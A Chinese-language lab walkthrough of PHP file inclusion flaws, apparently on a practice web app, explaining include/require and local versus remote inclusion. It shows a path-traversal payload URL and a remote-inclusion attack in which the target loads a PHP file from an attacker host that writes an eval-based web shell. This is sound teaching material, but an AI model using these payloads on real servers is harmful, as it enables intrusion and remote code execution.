1、文件包含漏洞概述
1.1 文件包含漏洞
文件包含漏洞:在web后台开发中,程序员往往为了提高效率以及让代码看起来更简洁,会使用“包含”函数功能。比如把一系列功能函数都写进function.php
中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include function.php?>
就可以调用函数代码。但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改包含文件的位置来让后台执行任意文件(代码)。
需要注意的是,php的文件包含不管文件后缀名是什么,只要包含php代码,就可以被当作php代码解析。
1.2 相关函数
文件包含包含函数:在php中,通过include()、include_once()
或require()、require_once()
语句,可以将php文件的内容插入另一个php文件(在服务器执行它之前)。include()
和include_once()
的区别在于include_once()
只能包含一次相同的文件。
include
和require
函数在错误处理方面有所不同:
- require会生成致命错误(E_COMPILE_ERROR)并停止脚本;
- include只生成警告(E_WARNING),并且脚本会继续。
1.3 文件包含漏洞分类
根据不同的配置环境,文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞:
(1)本地文件包含漏洞
仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些固定的系统配置文件,从而读取系统敏感信息。
(2)远程文件包含漏洞
能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码。
此处的本地指的是服务器端,远程指的是非服务器端。
2、File Inclusion(local)
(1)在搜索框中选择kobe之后1,url变为:http://192.168.92.1:32769/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4
观察到url中出现
filename=file1.php
,那么该目录下是否存在fileX.php文件呢?
(2)发现隐藏文件,对文件名进行爆破,可以发现file6、file7、file8、file9、file10、file100返回异常。说明存在隐藏文件。
(3)读取不同文件夹的文件
filename=file9.php
返回了报错,通过这个报错,可以知道fi_local.php
中用来进行文件包含的函数是include()
,并且包含的文件路径为与fi_local.php
同文件夹下include
文件夹中的文件。
payload:http://192.168.92.1:32769/vul/fileinclude/fi_local.php?filename=/../../&submit=%E6%8F%90%E4%BA%A4
,可以发现现在include函数中的相对路径已经跳转到了/app/vul
路径下了。也就是说只要我们知道某个文件的相对位置,就可以访问它。
3、File Inclusion(remote)
(1)远程文件包含这里,同样是通过传递一个文件名进行包含。
(2)filename改为www.baidu.com后,会直接访问百度;
(3)在 Kali 上,在 /var/www/html/ 中新建一个shell.txt,输入下面的内容:
<?php
$myfile = fopen("shell.php", "w");
$txt = '<?php @eval($_POST[cmd]);?>';
fwrite($myfile, $txt);
fclose($myfile);
?>
同时,使用service apache2 start
开始apache服务,构造payload:
http://192.168.92.1/vul/fileinclude/fi_remote.php?filename=http://192.168.92.1/shell.txt&submit=提交
貌似什么也没发生,我们需要访问生成的shell.php文件就可以拿到webshell了。
(4)连接webshell
另外,远程包含漏洞前提:如果使用 includer 和 require ,则需要 php.ini 配置如下:
allow_url_fopen = on;(默认开)
allow_url_include = on;(默认关)